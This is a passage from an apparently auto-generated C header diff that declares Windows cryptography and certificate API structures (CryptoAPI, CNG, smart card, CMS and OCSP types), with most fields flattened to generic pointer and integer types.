pCrlContext; +} CERT_CRL_CONTEXT_PAIR; + +typedef struct _CERT_PUBLIC_KEY_INFO { + void* Algorithm; + void* PublicKey; +} CERT_PUBLIC_KEY_INFO; + +typedef struct _CRYPT_OBJID_TABLE { + unsigned int dwAlgId; + void* pszObjId; +} CRYPT_OBJID_TABLE; + +typedef struct _NCRYPT_CIPHER_PADDING_INFO { + unsigned int cbSize; + unsigned int dwFlags; + void* pbIV; + unsigned int cbIV; + void* pbOtherInfo; + unsigned int cbOtherInfo; +} NCRYPT_CIPHER_PADDING_INFO; + +typedef struct _CERT_LOGOTYPE_AUDIO_INFO { + unsigned int dwFileSize; + unsigned int dwPlayTime; + unsigned int dwChannels; + unsigned int dwSampleRate; + void* pwszLanguage; +} CERT_LOGOTYPE_AUDIO_INFO; + +typedef struct _CERT_POLICY_MAPPING { + void* pszIssuerDomainPolicy; + void* pszSubjectDomainPolicy; +} CERT_POLICY_MAPPING; + +typedef struct _BCRYPT_PKCS11_RSA_AES_WRAP_BLOB { + unsigned int dwMagic; + unsigned int cbKey; + unsigned int cbPaddingAlgId; + unsigned int cbPaddingLabel; +} BCRYPT_PKCS11_RSA_AES_WRAP_BLOB; + +typedef struct _CT_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + int lErrorStatus; + int lErrorSubStatus; + unsigned int cEntries; + unsigned int cValidated; +} CT_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _NCRYPT_SSL_CIPHER_SUITE_EX { + unsigned int dwVersion; + unsigned int dwProtocol; + unsigned int dwCipherSuite; + unsigned int dwBaseCipherSuite; + unsigned short szCipherSuite[64]; + unsigned short szCipher[64]; + unsigned int dwCipherLen; + unsigned int dwCipherBlockLen; + unsigned short szHash[64]; + unsigned int dwHashLen; + unsigned short szExchange[64]; + unsigned int dwMinExchangeLen; + unsigned int dwMaxExchangeLen; + unsigned short szCertificate[64]; + unsigned int dwKeyType; + unsigned short szCipherMode[64]; +} NCRYPT_SSL_CIPHER_SUITE_EX; + +typedef struct _CERT_QC_STATEMENT { + void* pszStatementId; + void* StatementInfo; +} CERT_QC_STATEMENT; + +typedef struct _CMSG_CONTENT_ENCRYPT_INFO { + unsigned int cbSize; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int cRecipients; + void* rgCmsRecipients; + void* pfnAlloc; + void* pfnFree; + unsigned int dwEncryptFlags; + void* Anonymous; + unsigned int dwFlags; + BOOL fCNG; + void* pbCNGContentEncryptKeyObject; + void* pbContentEncryptKey; + unsigned int cbContentEncryptKey; +} CMSG_CONTENT_ENCRYPT_INFO; + +typedef struct _CRYPT_SEQUENCE_OF_ANY { + unsigned int cValue; + void* rgValue; +} CRYPT_SEQUENCE_OF_ANY; + +typedef struct _NCRYPT_SSL_FUNCTION_TABLE { + void* Version; + void* ComputeClientAuthHash; + void* ComputeEapKeyBlock; + void* ComputeFinishedHash; + void* CreateEphemeralKey; + void* CreateHandshakeHash; + void* DecryptPacket; + void* EncryptPacket; + void* EnumCipherSuites; + void* ExportKey; + void* FreeBuffer; + void* FreeObject; + void* GenerateMasterKey; + void* GenerateSessionKeys; + void* GetKeyProperty; + void* GetProviderProperty; + void* HashHandshake; + void* ImportMasterKey; + void* ImportKey; + void* LookupCipherSuiteInfo; + void* OpenPrivateKey; + void* OpenProvider; + void* SignHash; + void* VerifySignature; + void* LookupCipherLengths; + void* CreateClientAuthHash; + void* GetCipherSuitePRFHashAlgorithm; + void* ComputeSessionHash; + void* GeneratePreMasterKey; + void* EnumEccCurves; + void* ExportKeyingMaterial; + void* ExtractEarlyKey; + void* ExtractHandshakeKey; + void* ExtractMasterKey; + void* ExpandTrafficKeys; + void* ExpandWriteKey; + void* ExpandExporterMasterKey; + void* EnumCipherSuitesEx; + void* ExpandResumptionMasterKey; + void* DuplicateTranscriptHash; + void* ExpandBinderKey; + void* ExpandPreSharedKey; +} NCRYPT_SSL_FUNCTION_TABLE; + +typedef struct _CERT_SYSTEM_STORE_INFO { + unsigned int cbSize; +} CERT_SYSTEM_STORE_INFO; + +typedef struct _CARD_DATA { + unsigned int dwVersion; + void* pbAtr; + unsigned int cbAtr; + void* pwszCardName; + void* pfnCspAlloc; + void* pfnCspReAlloc; + void* pfnCspFree; + void* pfnCspCacheAddFile; + void* pfnCspCacheLookupFile; + void* pfnCspCacheDeleteFile; + void* pvCacheContext; + void* pfnCspPadData; + unsigned long long hSCardCtx; + unsigned long long hScard; + void* pvVendorSpecific; + void* pfnCardDeleteContext; + void* pfnCardQueryCapabilities; + void* pfnCardDeleteContainer; + void* pfnCardCreateContainer; + void* pfnCardGetContainerInfo; + void* pfnCardAuthenticatePin; + void* pfnCardGetChallenge; + void* pfnCardAuthenticateChallenge; + void* pfnCardUnblockPin; + void* pfnCardChangeAuthenticator; + void* pfnCardDeauthenticate; + void* pfnCardCreateDirectory; + void* pfnCardDeleteDirectory; + void* pvUnused3; + void* pvUnused4; + void* pfnCardCreateFile; + void* pfnCardReadFile; + void* pfnCardWriteFile; + void* pfnCardDeleteFile; + void* pfnCardEnumFiles; + void* pfnCardGetFileInfo; + void* pfnCardQueryFreeSpace; + void* pfnCardQueryKeySizes; + void* pfnCardSignData; + void* pfnCardRSADecrypt; + void* pfnCardConstructDHAgreement; + void* pfnCardDeriveKey; + void* pfnCardDestroyDHAgreement; + void* pfnCspGetDHAgreement; + void* pfnCardGetChallengeEx; + void* pfnCardAuthenticateEx; + void* pfnCardChangeAuthenticatorEx; + void* pfnCardDeauthenticateEx; + void* pfnCardGetContainerProperty; + void* pfnCardSetContainerProperty; + void* pfnCardGetProperty; + void* pfnCardSetProperty; + void* pfnCspUnpadData; + void* pfnMDImportSessionKey; + void* pfnMDEncryptData; + void* pfnCardImportSessionKey; + void* pfnCardGetSharedKeyHandle; + void* pfnCardGetAlgorithmProperty; + void* pfnCardGetKeyProperty; + void* pfnCardSetKeyProperty; + void* pfnCardDestroyKey; + void* pfnCardProcessEncryptedData; + void* pfnCardCreateContainerEx; +} CARD_DATA; + +typedef struct _NCRYPT_UI_POLICY_BLOB { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int cbCreationTitle; + unsigned int cbFriendlyName; + unsigned int cbDescription; +} NCRYPT_UI_POLICY_BLOB; + +typedef struct _BCryptBufferDesc { + unsigned int ulVersion; + unsigned int cBuffers; + void* pBuffers; +} BCryptBufferDesc; + +typedef struct _CMSG_SP3_COMPATIBLE_AUX_INFO { + unsigned int cbSize; + unsigned int dwFlags; +} CMSG_SP3_COMPATIBLE_AUX_INFO; + +typedef struct _NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER { + unsigned int Magic; + unsigned int Version; + unsigned int cbAttributes; + unsigned int cbNonce; + unsigned int cbHashAlg; + unsigned int cbPadding; + unsigned int cbSignatureAlg; + unsigned int cbSignature; +} NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER; + +typedef struct _CERT_LOGOTYPE_DETAILS { + void* pwszMimeType; + unsigned int cHashedUrl; + void* rgHashedUrl; +} CERT_LOGOTYPE_DETAILS; + +typedef struct _CMSG_ENVELOPED_ENCODE_INFO { + unsigned int cbSize; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int cRecipients; + void* rgpRecipients; +} CMSG_ENVELOPED_ENCODE_INFO; + +typedef struct _CMSG_CMS_SIGNER_INFO { + unsigned int dwVersion; + void* SignerId; + void* HashAlgorithm; + void* HashEncryptionAlgorithm; + void* EncryptedHash; + void* AuthAttrs; + void* UnauthAttrs; +} CMSG_CMS_SIGNER_INFO; + +typedef struct _CERT_ALT_NAME_ENTRY { + unsigned int dwAltNameChoice; + void* Anonymous; +} CERT_ALT_NAME_ENTRY; + +typedef struct _SIGNER_DIGEST_SIGN_INFO { + unsigned int cbSize; + unsigned int dwDigestSignChoice; + void* Anonymous; + void* pMetadataBlob; + unsigned int dwReserved; + unsigned int dwReserved2; + unsigned int dwReserved3; +} SIGNER_DIGEST_SIGN_INFO; + +typedef struct _CMSG_CTRL_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + unsigned int dwRecipientIndex; +} CMSG_CTRL_DECRYPT_PARA; + +typedef struct _CRYPT_RC2_CBC_PARAMETERS { + unsigned int dwVersion; + BOOL fIV; + unsigned char rgbIV[8]; +} CRYPT_RC2_CBC_PARAMETERS; + +typedef struct _CRYPT_RSAES_OAEP_PARAMETERS { + void* HashAlgorithm; + void* MaskGenAlgorithm; + void* PSourceAlgorithm; +} CRYPT_RSAES_OAEP_PARAMETERS; + +typedef struct _CERT_KEYGEN_REQUEST_INFO { + unsigned int dwVersion; + void* SubjectPublicKeyInfo; + void* pwszChallengeString; +} CERT_KEYGEN_REQUEST_INFO; + +typedef struct _CMS_KEY_INFO { + unsigned int dwVersion; + void* Algid; + void* pbOID; + unsigned int cbOID; +} CMS_KEY_INFO; + +typedef struct _NCRYPT_PCP_RAW_POLICYDIGEST_INFO { + unsigned int dwVersion; + unsigned int cbDigest; +} NCRYPT_PCP_RAW_POLICYDIGEST_INFO; + +typedef struct _CMSG_MAIL_LIST_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + unsigned long long hCryptProv; + unsigned int dwKeyChoice; + void* Anonymous; + void* KeyId; + void* Date; + void* pOtherAttr; +} CMSG_MAIL_LIST_RECIPIENT_ENCODE_INFO; + +typedef struct _CERT_REVOCATION_STATUS { + unsigned int cbSize; + unsigned int dwIndex; + unsigned int dwError; + void* dwReason; + BOOL fHasFreshnessTime; + unsigned int dwFreshnessTime; +} CERT_REVOCATION_STATUS; + +typedef struct _BCRYPT_PQDSA_KEY_BLOB { + unsigned int dwMagic; + unsigned int cbParameterSet; + unsigned int cbKey; +} BCRYPT_PQDSA_KEY_BLOB; + +typedef struct _RSAPUBKEY { + unsigned int magic; + unsigned int bitlen; + unsigned int pubexp; +} RSAPUBKEY; + +typedef struct _CARD_AUTHENTICATE { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int PinId; + unsigned int cbPinData; + unsigned char pbPinData[1]; +} CARD_AUTHENTICATE; + +typedef struct _CMC_STATUS_INFO { + unsigned int dwStatus; + unsigned int cBodyList; + void* rgdwBodyList; + void* pwszStatusString; + unsigned int dwOtherInfoChoice; + void* Anonymous; +} CMC_STATUS_INFO; + +typedef struct _CERT_NAME_VALUE { + unsigned int dwValueType; + void* Value; +} CERT_NAME_VALUE; + +typedef struct _CMC_TAGGED_OTHER_MSG { + unsigned int dwBodyPartID; + void* pszObjId; + void* Value; +} CMC_TAGGED_OTHER_MSG; + +typedef struct _NCRYPT_SECRET_HANDLE { + unsigned long long Value; +} NCRYPT_SECRET_HANDLE; + +typedef struct _CRYPT_DECRYPT_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + unsigned int cCertStore; + void* rghCertStore; +} CRYPT_DECRYPT_MESSAGE_PARA; + +typedef struct _CMSG_KEY_TRANS_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + void* hCryptProv; + void* RecipientPublicKey; + void* RecipientId; +} CMSG_KEY_TRANS_RECIPIENT_ENCODE_INFO; + +typedef struct _CERT_CHAIN_FIND_BY_ISSUER_PARA { + unsigned int cbSize; + void* pszUsageIdentifier; + unsigned int dwKeySpec; + unsigned int dwAcquirePrivateKeyFlags; + unsigned int cIssuer; + void* rgIssuer; + void* pfnFindCallback; + void* pvFindArg; +} CERT_CHAIN_FIND_BY_ISSUER_PARA; + +typedef struct _CRYPT_RC4_KEY_STATE { + unsigned char Key[16]; + unsigned char SBox[256]; + unsigned char i; + unsigned char j; +} CRYPT_RC4_KEY_STATE; + +typedef struct _NCRYPT_PCP_TPM_WEB_AUTHN_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int HeaderSize; + unsigned int cbCertifyInfo; + unsigned int cbSignature; + unsigned int cbTpmPublic; +} NCRYPT_PCP_TPM_WEB_AUTHN_ATTESTATION_STATEMENT; + +typedef struct _CMC_TAGGED_CONTENT_INFO { + unsigned int dwBodyPartID; + void* EncodedContentInfo; +} CMC_TAGGED_CONTENT_INFO; + +typedef struct _NCRYPT_VBS_KEY_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int ClaimType; +} NCRYPT_VBS_KEY_ATTESTATION_STATEMENT; + +typedef struct _NCryptAlgorithmName { + void* pszName; + void* dwClass; + void* dwAlgOperations; + unsigned int dwFlags; +} NCryptAlgorithmName; + +typedef struct _CRYPT_XML_X509DATA { + unsigned int cX509Data; + void* rgX509Data; +} CRYPT_XML_X509DATA; + +typedef struct _CRYPT_SMIME_CAPABILITIES { + unsigned int cCapability; + void* rgCapability; +} CRYPT_SMIME_CAPABILITIES; + +typedef struct _VTableProvStruc { + unsigned int Version; + void* FuncVerifyImage; + void* FuncReturnhWnd; + unsigned int dwProvType; + void* pbContextInfo; + unsigned int cbContextInfo; + void* pszProvName; +} VTableProvStruc; + +typedef struct _DSSSEED { + unsigned int counter; + unsigned char seed[20]; +} DSSSEED; + +typedef struct _BCRYPT_ECCFULLKEY_BLOB { + unsigned int dwMagic; + unsigned int dwVersion; + void* dwCurveType; + void* dwCurveGenerationAlgId; + unsigned int cbFieldLength; + unsigned int cbSubgroupOrder; + unsigned int cbCofactor; + unsigned int cbSeed; +} BCRYPT_ECCFULLKEY_BLOB; + +typedef struct _OCSP_BASIC_RESPONSE_ENTRY { + void* CertId; + unsigned int dwCertStatus; + void* Anonymous; + void* ThisUpdate; + void* NextUpdate; + unsigned int cExtension; + void* rgExtension; +} OCSP_BASIC_RESPONSE_ENTRY; + +typedef struct _CERT_TRUST_STATUS { + unsigned int dwErrorStatus; + unsigned int dwInfoStatus; +} CERT_TRUST_STATUS; + +typedef struct _BCRYPT_ASYMMETRIC_ENCRYPTION_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* Encrypt; + void* Decrypt; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; + void* SignHash; + void* VerifySignature; +} BCRYPT_ASYMMETRIC_ENCRYPTION_FUNCTION_TABLE; + +typedef struct _CRYPT_MASK_GEN_ALGORITHM { + void* pszObjId; + void* HashAlgorithm; +} CRYPT_MASK_GEN_ALGORITHM; + +typedef struct _BCRYPT_DH_PARAMETER_HEADER { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; +} BCRYPT_DH_PARAMETER_HEADER; + +typedef struct _CERT_REGISTRY_STORE_ROAMING_PARA { + void* hKey; + void* pwszStoreDirectory; +} CERT_REGISTRY_STORE_ROAMING_PARA; + +typedef struct _INFORMATIONCARD_TRANSFORM_CRYPTO_PARAMETERS { + int inputBlockSize; + int outputBlockSize; + BOOL canTransformMultipleBlocks; + BOOL canReuseTransform; +} INFORMATIONCARD_TRANSFORM_CRYPTO_PARAMETERS; + +typedef struct _OCSP_REQUEST_ENTRY { + void* CertId; + unsigned int cExtension; + void* rgExtension; +} OCSP_REQUEST_ENTRY; + +typedef struct _CERT_SELECT_CRITERIA { + void* dwType; + unsigned int cPara; + void* ppPara; +} CERT_SELECT_CRITERIA; + +typedef struct _SIGNER_FILE_INFO { + unsigned int cbSize; + void* pwszFileName; + void* hFile; +} SIGNER_FILE_INFO; + +typedef struct _CRYPT_PKCS8_IMPORT_PARAMS { + void* PrivateKey; + void* pResolvehCryptProvFunc; + void* pVoidResolveFunc; + void* pDecryptPrivateKeyFunc; + void* pVoidDecryptFunc; +} CRYPT_PKCS8_IMPORT_PARAMS; + +typedef struct _CTL_USAGE { + unsigned int cUsageIdentifier; + void* rgpszUsageIdentifier; +} CTL_USAGE; + +typedef struct _SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwReserved; + void* pwszServerName; +} SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _BCRYPT_INTERFACE_VERSION { + unsigned short MajorVersion; + unsigned short MinorVersion; +} BCRYPT_INTERFACE_VERSION; + +typedef struct _CMSG_CTRL_KEY_TRANS_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + void* pKeyTrans; + unsigned int dwRecipientIndex; +} CMSG_CTRL_KEY_TRANS_DECRYPT_PARA; + +typedef struct _CRYPTPROTECT_PROMPTSTRUCT { + unsigned int cbSize; + unsigned int dwPromptFlags; + void* hwndApp; + void* szPrompt; +} CRYPTPROTECT_PROMPTSTRUCT; + +typedef struct _CARD_CHANGE_AUTHENTICATOR { + unsigned int dwVersion; + unsigned int dwFlags; + unsigned int dwAuthenticatingPinId; + unsigned int cbAuthenticatingPinData; + unsigned int dwTargetPinId; + unsigned int cbTargetData; + unsigned int cRetryCount; + unsigned char pbData[1]; +} CARD_CHANGE_AUTHENTICATOR; + +typedef struct _NCRYPT_VBS_IDENTITY_KEY_ATTESTATION_CLAIM_DETAILS { + unsigned int ulKeyFlags; + void* pszSignatureHashAlg; + unsigned int ulPaddingScheme; + void* pszPaddingHashAlg; + unsigned int ulPaddingSalt; +} NCRYPT_VBS_IDENTITY_KEY_ATTESTATION_CLAIM_DETAILS; + +typedef struct _CMSG_RECIPIENT_ENCODE_INFO { + unsigned int dwRecipientChoice; + void* Anonymous; +} CMSG_RECIPIENT_ENCODE_INFO; + +typedef struct _CRYPT_AES_256_KEY_STATE { + unsigned char Key[32]; + unsigned char IV[16]; + unsigned char EncryptionState[240]; + unsigned char DecryptionState[240]; + unsigned char Feedback[16]; +} CRYPT_AES_256_KEY_STATE; + +typedef struct _CMS_DH_KEY_INFO { + unsigned int dwVersion; + void* Algid; + void* pszContentEncObjId; + void* PubInfo; + void* pReserved; +} CMS_DH_KEY_INFO; + +typedef struct _CERT_NAME_CONSTRAINTS_INFO { + unsigned int cPermittedSubtree; + void* rgPermittedSubtree; + unsigned int cExcludedSubtree; + void* rgExcludedSubtree; +} CERT_NAME_CONSTRAINTS_INFO; + +typedef struct _AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + BOOL fCommercial; +} AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CERT_SIGNED_CONTENT_INFO { + void* ToBeSigned; + void* SignatureAlgorithm; + void* Signature; +} CERT_SIGNED_CONTENT_INFO; + +typedef struct _CMSG_RECIPIENT_ENCRYPTED_KEY_INFO { + void* RecipientId; + void* EncryptedKey; + void* Date; + void* pOtherAttr; +} CMSG_RECIPIENT_ENCRYPTED_KEY_INFO; + +typedef struct _CARD_CACHE_FILE_FORMAT { + unsigned char bVersion; + unsigned char bPinsFreshness; + unsigned short wContainersFreshness; + unsigned short wFilesFreshness; +} CARD_CACHE_FILE_FORMAT; + +typedef struct _CMSG_ENCRYPTED_ENCODE_INFO { + unsigned int cbSize; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; +} CMSG_ENCRYPTED_ENCODE_INFO; + +typedef struct _CMSG_RC2_AUX_INFO { + unsigned int cbSize; + unsigned int dwBitLen; +} CMSG_RC2_AUX_INFO; + +typedef struct _CRYPT_CONTENT_INFO { + void* pszObjId; + void* Content; +} CRYPT_CONTENT_INFO; + +typedef struct _CRYPT_XML_KEYINFO_PARAM { + void* wszId; + void* wszKeyName; + void* SKI; + void* wszSubjectName; + unsigned int cCertificate; + void* rgCertificate; + unsigned int cCRL; + void* rgCRL; +} CRYPT_XML_KEYINFO_PARAM; + +typedef struct _CARD_RSA_DECRYPT_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwKeySpec; + void* pbData; + unsigned int cbData; + void* pPaddingInfo; + unsigned int dwPaddingType; +} CARD_RSA_DECRYPT_INFO; + +typedef struct _CERTIFICATE_CHAIN_BLOB { + unsigned int certCount; + void* rawCertificates; +} CERTIFICATE_CHAIN_BLOB; + +typedef struct _HCRYPTPROV_OR_NCRYPT_KEY_HANDLE { + unsigned long long Value; +} HCRYPTPROV_OR_NCRYPT_KEY_HANDLE; + +typedef struct _CTL_FIND_SUBJECT_PARA { + unsigned int cbSize; + void* pUsagePara; + unsigned int dwSubjectType; + void* pvSubject; +} CTL_FIND_SUBJECT_PARA; + +typedef struct _NCRYPT_PLATFORM_ATTEST_PADDING_INFO { + unsigned int magic; + unsigned int pcrMask; +} NCRYPT_PLATFORM_ATTEST_PADDING_INFO; + +typedef struct _CRYPT_KEY_VERIFY_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; +} CRYPT_KEY_VERIFY_MESSAGE_PARA; + +typedef struct _NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES { + unsigned int Version; + unsigned int Flags; + unsigned int cbPublicKeyBlob; +} NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES; + +typedef struct _CERT_CHAIN_ENGINE_CONFIG { + unsigned int cbSize; + void* hRestrictedRoot; + void* hRestrictedTrust; + void* hRestrictedOther; + unsigned int cAdditionalStore; + void* rghAdditionalStore; + unsigned int dwFlags; + unsigned int dwUrlRetrievalTimeout; + unsigned int MaximumCachedCertificates; + unsigned int CycleDetectionModulus; + void* hExclusiveRoot; + void* hExclusiveTrustedPeople; + unsigned int dwExclusiveFlags; +} CERT_CHAIN_ENGINE_CONFIG; + +typedef struct _SIGNER_BLOB_INFO { + unsigned int cbSize; + void* pGuidSubject; + unsigned int cbBlob; + void* pbBlob; + void* pwszDisplayName; +} SIGNER_BLOB_INFO; + +typedef struct _SIGNER_CERT { + unsigned int cbSize; + void* dwCertChoice; + void* Anonymous; + void* hwnd; +} SIGNER_CERT; + +typedef struct _BCRYPT_DSA_KEY_BLOB_V2 { + void* dwMagic; + unsigned int cbKey; + void* hashAlgorithm; + void* standardVersion; + unsigned int cbSeedLength; + unsigned int cbGroupSize; + unsigned char Count[4]; +} BCRYPT_DSA_KEY_BLOB_V2; + +typedef struct _CERT_LOGOTYPE_AUDIO { + void* LogotypeDetails; + void* pLogotypeAudioInfo; +} CERT_LOGOTYPE_AUDIO; + +typedef struct _CRYPT_VERIFY_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + void* hCryptProv; + void* pfnGetSignerCertificate; + void* pvGetArg; +} CRYPT_VERIFY_MESSAGE_PARA; + +typedef struct _CRYPT_KEY_SIGN_MESSAGE_PARA { + unsigned int cbSize; + void* dwMsgAndCertEncodingType; + void* Anonymous; + void* dwKeySpec; + void* HashAlgorithm; + void* pvHashAuxInfo; + void* PubKeyAlgorithm; +} CRYPT_KEY_SIGN_MESSAGE_PARA; + +typedef struct _NCRYPT_SUPPORTED_LENGTHS { + unsigned int dwMinLength; + unsigned int dwMaxLength; + unsigned int dwIncrement; + unsigned int dwDefaultLength; +} NCRYPT_SUPPORTED_LENGTHS; + +typedef struct _CMSG_KEY_TRANS_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + unsigned int dwFlags; +} CMSG_KEY_TRANS_ENCRYPT_INFO; + +typedef struct _CRYPT_TIMESTAMP_RESPONSE { + void* dwStatus; + unsigned int cFreeText; + void* rgFreeText; + void* FailureInfo; + void* ContentInfo; +} CRYPT_TIMESTAMP_RESPONSE; + +typedef struct _PROV_ENUMALGS { + void* aiAlgid; + unsigned int dwBitLen; + unsigned int dwNameLen; + unsigned char szName[20]; +} PROV_ENUMALGS; + +typedef struct _SIGNER_ATTR_AUTHCODE { + unsigned int cbSize; + BOOL fCommercial; + BOOL fIndividual; + void* pwszName; + void* pwszInfo; +} SIGNER_ATTR_AUTHCODE; + +typedef struct _SIGNER_SPC_CHAIN_INFO { + unsigned int cbSize; + void* pwszSpcFile; + unsigned int dwCertPolicy; + void* hCertStore; +} SIGNER_SPC_CHAIN_INFO; + +typedef struct _SIGNER_SIGNATURE_INFO { + unsigned int cbSize; + void* algidHash; + void* dwAttrChoice; + void* Anonymous; + void* psAuthenticated; + void* psUnauthenticated; +} SIGNER_SIGNATURE_INFO; + +typedef struct _CMSG_SIGNED_ENCODE_INFO { + unsigned int cbSize; + unsigned int cSigners; + void* rgSigners; + unsigned int cCertEncoded; + void* rgCertEncoded; + unsigned int cCrlEncoded; + void* rgCrlEncoded; +} CMSG_SIGNED_ENCODE_INFO; + +typedef struct _OCSP_BASIC_REVOKED_INFO { + void* RevocationDate; + void* dwCrlReasonCode; +} OCSP_BASIC_REVOKED_INFO; + +// SKIPPED struct CMSCEPSetup: no representable fields +typedef struct _CLMD_PIV_GENERATE_ASYMMETRIC_KEY { + unsigned int dwVersion; + unsigned char bAlgorithmId; + unsigned char bKeyId; + void* pbKey; + unsigned int cbKey; +} CLMD_PIV_GENERATE_ASYMMETRIC_KEY; + +typedef struct _CRYPT_TIMESTAMP_REQUEST { + void* dwVersion; + void* HashAlgorithm; + void* HashedMessage; + void* pszTSAPolicyId; + void* Nonce; + BOOL fCertReq; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_REQUEST; + +typedef struct _CERT_OTHER_NAME { + void* pszObjId; + void* Value; +} CERT_OTHER_NAME; + +typedef struct _BCRYPT_KEY_DERIVATION_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKey; + void* DestroyKey; + void* KeyDerivation; + void* ExportKey; + void* ImportKey; + void* DuplicateKey; +} BCRYPT_KEY_DERIVATION_FUNCTION_TABLE; + +typedef struct _CERT_ALT_NAME_INFO { + unsigned int cAltEntry; + void* rgAltEntry; +} CERT_ALT_NAME_INFO; + +typedef struct _CERT_REQUEST_INFO { + unsigned int dwVersion; + void* Subject; + void* SubjectPublicKeyInfo; + unsigned int cAttribute; + void* rgAttribute; +} CERT_REQUEST_INFO; + +typedef struct _CERT_PRIVATE_KEY_VALIDITY { + void* NotBefore; + void* NotAfter; +} CERT_PRIVATE_KEY_VALIDITY; + +typedef struct _CERT_LOGOTYPE_IMAGE_INFO { + void* dwLogotypeImageInfoChoice; + unsigned int dwFileSize; + unsigned int dwXSize; + unsigned int dwYSize; + void* dwLogotypeImageResolutionChoice; + void* Anonymous; + void* pwszLanguage; +} CERT_LOGOTYPE_IMAGE_INFO; + +typedef struct _CERT_USAGE_MATCH { + unsigned int dwType; + void* Usage; +} CERT_USAGE_MATCH; + +typedef struct _SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + int lError; + unsigned short wszErrorText[512]; +} SSL_KEY_PIN_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CRYPT_KEY_PROV_PARAM { + unsigned int dwParam; + void* pbData; + unsigned int cbData; + unsigned int dwFlags; +} CRYPT_KEY_PROV_PARAM; + +typedef struct _CERT_CREATE_CONTEXT_PARA { + unsigned int cbSize; + void* pfnFree; + void* pvFree; + void* pfnSort; + void* pvSort; +} CERT_CREATE_CONTEXT_PARA; + +typedef struct _NCRYPT_ALLOC_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} NCRYPT_ALLOC_PARA; + +typedef struct _ENDPOINTADDRESS { + void* serviceUrl; + void* policyUrl; + void* rawCertificate; +} ENDPOINTADDRESS; + +typedef struct _CRYPT_XML_ALGORITHM_INFO { + unsigned int cbSize; + void* wszAlgorithmURI; + void* wszName; + void* dwGroupId; + void* wszCNGAlgid; + void* wszCNGExtraAlgid; + unsigned int dwSignFlags; + unsigned int dwVerifyFlags; + void* pvPaddingInfo; + void* pvExtraInfo; +} CRYPT_XML_ALGORITHM_INFO; + +typedef struct _BCRYPT_SIGNATURE_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* SignHash; + void* VerifySignature; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; +} BCRYPT_SIGNATURE_FUNCTION_TABLE; + +typedef struct _BCRYPT_OID { + unsigned int cbOID; + void* pbOID; +} BCRYPT_OID; + +typedef struct _CRL_ENTRY { + void* SerialNumber; + void* RevocationDate; + unsigned int cExtension; + void* rgExtension; +} CRL_ENTRY; + +typedef struct _PROV_ENUMALGS_EX { + void* aiAlgid; + unsigned int dwDefaultLen; + unsigned int dwMinLen; + unsigned int dwMaxLen; + unsigned int dwProtocols; + unsigned int dwNameLen; + unsigned char szName[20]; + unsigned int dwLongNameLen; + unsigned char szLongName[40]; +} PROV_ENUMALGS_EX; + +typedef struct _PUBLICKEYSTRUC { + unsigned char bType; + unsigned char bVersion; + unsigned short reserved; + void* aiKeyAlg; +} PUBLICKEYSTRUC; + +typedef struct _CERT_FORTEZZA_DATA_PROP { + unsigned char SerialNumber[8]; + int CertIndex; + unsigned char CertLabel[36]; +} CERT_FORTEZZA_DATA_PROP; + +typedef struct _BCRYPT_ECC_CURVE_NAMES { + unsigned int dwEccCurveNames; + void* pEccCurveNames; +} BCRYPT_ECC_CURVE_NAMES; + +typedef struct _CERT_POLICY_CONSTRAINTS_INFO { + BOOL fRequireExplicitPolicy; + unsigned int dwRequireExplicitPolicySkipCerts; + BOOL fInhibitPolicyMapping; + unsigned int dwInhibitPolicyMappingSkipCerts; +} CERT_POLICY_CONSTRAINTS_INFO; + +typedef struct _CRYPT_RETRIEVE_AUX_INFO { + unsigned int cbSize; + void* pLastSyncTime; + 